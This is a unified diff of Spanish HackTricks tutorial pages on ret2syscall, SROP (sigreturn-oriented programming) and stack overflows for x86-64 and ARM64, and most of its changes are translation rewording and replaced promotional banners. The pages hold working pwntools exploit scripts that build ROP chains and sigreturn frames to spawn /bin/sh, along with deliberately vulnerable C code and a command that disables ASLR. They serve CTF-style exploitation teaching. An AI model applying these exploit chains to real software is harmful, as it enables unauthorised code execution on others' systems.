rop += p64(0x6b6000) # Writable memory rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## Gadgets Faltantes ## Falta de Gadgets
Si te faltan **gadgets**, por ejemplo para escribir `/bin/sh` en la memoria, puedes usar la técnica **SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila: Si te **faltan gadgets**, por ejemplo para escribir `/bin/sh` en memoria, puedes usar la **técnica SROP para controlar todos los valores de los registros** (incluyendo RIP y los registros de parámetros) desde la pila:
{% content-ref url="../srop-sigreturn-oriented-programming/" %} {% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/) [srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %} {% endcontent-ref %}
## Ejemplo de Exploit
```python ```python
from pwn import * from pwn import *
@ -190,3 +191,18 @@ target.interactive()
* 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas. * 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html) * [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. * 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2syscall - ARM64 # Ret2syscall - ARM64
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
Encuentra una introducción a arm64 en: Encuentra una introducción a arm64 en:
@ -22,7 +23,7 @@ Encuentra una introducción a arm64 en:
## Código ## Código
Vamos a utilizar el ejemplo de la página: Vamos a usar el ejemplo de la página:
{% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %} {% content-ref url="../../stack-overflow/ret2win/ret2win-arm64.md" %}
[ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md) [ret2win-arm64.md](../../stack-overflow/ret2win/ret2win-arm64.md)
@ -45,18 +46,18 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Compilar sin pie y canary: Compilar sin pie y canario:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector clang -o ret2win ret2win.c -fno-stack-protector
``` ```
## Gadgets ## Gadgets
Para preparar la llamada al **syscall** se necesita la siguiente configuración: Para preparar la llamada para el **syscall** se necesita la siguiente configuración:
- `x8: 221 Especificar sys_execve` * `x8: 221 Especificar sys_execve`
- `x0: ptr a "/bin/sh" especificar archivo a ejecutar` * `x0: ptr a "/bin/sh" especificar archivo a ejecutar`
- `x1: 0 especificar que no se pasan argumentos` * `x1: 0 especificar que no se pasan argumentos`
- `x2: 0 especificar que no se pasan variables de entorno` * `x2: 0 especificar que no se pasan variables de entorno`
Usando ROPgadget.py pude localizar los siguientes gadgets en la biblioteca libc de la máquina: Usando ROPgadget.py pude localizar los siguientes gadgets en la biblioteca libc de la máquina:
@ -79,13 +80,13 @@ svc #0
``` ```
{% endcode %} {% endcode %}
Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget y llamar al syscall. Con los gadgets anteriores podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall.
{% hint style="success" %} {% hint style="success" %}
Ten en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero vamos a usarlo para este ejemplo actual. Ten en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual.
{% endhint %} {% endhint %}
### Explotar ### Exploit
```python ```python
from pwn import * from pwn import *
@ -134,16 +135,17 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# SROP - Programación Orientada a Sigreturn # SROP - Programación Orientada a la Señal
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
**`Sigreturn`** es una **llamada al sistema** especial que se utiliza principalmente para limpiar después de que un manejador de señales haya completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar las señales. **`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
Después de que el manejador de señales termina, el programa necesita **resumir su estado anterior** como si nada hubiera pasado. Aquí es donde entra en juego **`sigreturn`**. Ayuda al programa a **regresar desde el manejador de señales** y restaura el estado del programa limpiando el marco de la pila (la sección de memoria que almacena las llamadas a funciones y variables locales) que fue utilizado por el manejador de señales. Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila. La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
{% hint style="danger" %} {% hint style="danger" %}
Llamar a la llamada al sistema **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargue en la **pila** es posible **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la llamada al sistema `execve` con `/bin/sh`. Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
{% endhint %} {% endhint %}
Observa cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls: Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
{% content-ref url="../rop-syscall-execv/" %} {% content-ref url="../rop-syscall-execv/" %}
[rop-syscall-execv](../rop-syscall-execv/) [rop-syscall-execv](../rop-syscall-execv/)
{% endcontent-ref %} {% endcontent-ref %}
Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila para luego recuperar los valores (diagrama de [**aquí**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)): Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila para recuperar más tarde los valores (diagrama de [**aquí**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -68,13 +69,13 @@ Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
Para obtener una mejor explicación, consulta también: Para una mejor explicación, consulta también:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Ejemplo ## Ejemplo
Puedes [**encontrar un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) donde la llamada a signeturn se construye a través de ROP (colocando en rxa el valor `0xf`), aunque este es el exploit final a partir de allí: Puedes [**encontrar un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) donde la llamada a sigreturn se construye a través de ROP (poniendo en rxa el valor `0xf`), aunque este es el exploit final desde allí:
```python ```python
from pwn import * from pwn import *
@ -101,7 +102,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Revisa también el [**exploit desde aquí**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) donde el binario ya estaba llamando a `sigreturn` y por lo tanto no es necesario construirlo con un **ROP**: Revisa también el [**exploit desde aquí**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) donde el binario ya estaba llamando a `sigreturn` y por lo tanto no es necesario construir eso con un **ROP**:
```python ```python
from pwn import * from pwn import *
@ -139,12 +140,27 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) * [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html) * [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* Ensamblador binario que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario. * Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) * [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* Ensamblador binario que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`). * Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html) * [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64 bits, sin relro, sin canary, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en el `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell. * 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html) * [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* Programa de ensamblador de 64 bits, sin relro, sin canary, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros, llamar a una syscall y luego llamar a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a leer en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que al pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. * Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
* SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode. * SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# SROP - ARM64 # SROP - ARM64
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Ejemplo de Pwntools ## Ejemplo de Pwntools
Este ejemplo está creando el binario vulnerable y explotándolo. El binario **lee en la pila** y luego llama a **`sigreturn`**: Este ejemplo crea el binario vulnerable y lo explota. El binario **lee en la pila** y luego llama a **`sigreturn`**:
```python ```python
from pwn import * from pwn import *
@ -44,7 +45,7 @@ p = process(binary.path)
p.send(bytes(frame)) p.send(bytes(frame))
p.interactive() p.interactive()
``` ```
## ejemplo de desbordamiento de búfer ## bof ejemplo
### Código ### Código
```c ```c
@ -86,7 +87,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Exploit ## Exploit
El exploit abusa del desbordamiento de búfer para regresar a la llamada a **`sigreturn`** y preparar la pila para llamar a **`execve`** con un puntero a `/bin/sh`. El exploit abusa del bof para regresar a la llamada a **`sigreturn`** y preparar la pila para llamar a **`execve`** con un puntero a `/bin/sh`.
```python ```python
from pwn import * from pwn import *
@ -115,7 +116,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## ejemplo de desbordamiento de búfer sin sigreturn ## bof ejemplo sin sigreturn
### Código ### Código
```c ```c
@ -142,13 +143,13 @@ char* b = gen_stack();
return 0; return 0;
} }
``` ```
## Explotar ## Exploit
En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el desplazamiento **`0x7b0`**: En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el offset **`0x7b0`**:
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
Por lo tanto, si se filtra, es posible **utilizar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando: Por lo tanto, si se filtra, es posible **usar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando:
```python ```python
from pwn import * from pwn import *
@ -177,14 +178,29 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
Para obtener más información sobre vdso, consulta: Para más información sobre vdso, consulta:
{% content-ref url="../ret2vdso.md" %} {% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md) [ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %} {% endcontent-ref %}
Y para evitar la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información: Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %} {% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/) [aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Desbordamiento de pila # Desbordamiento de Pila
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
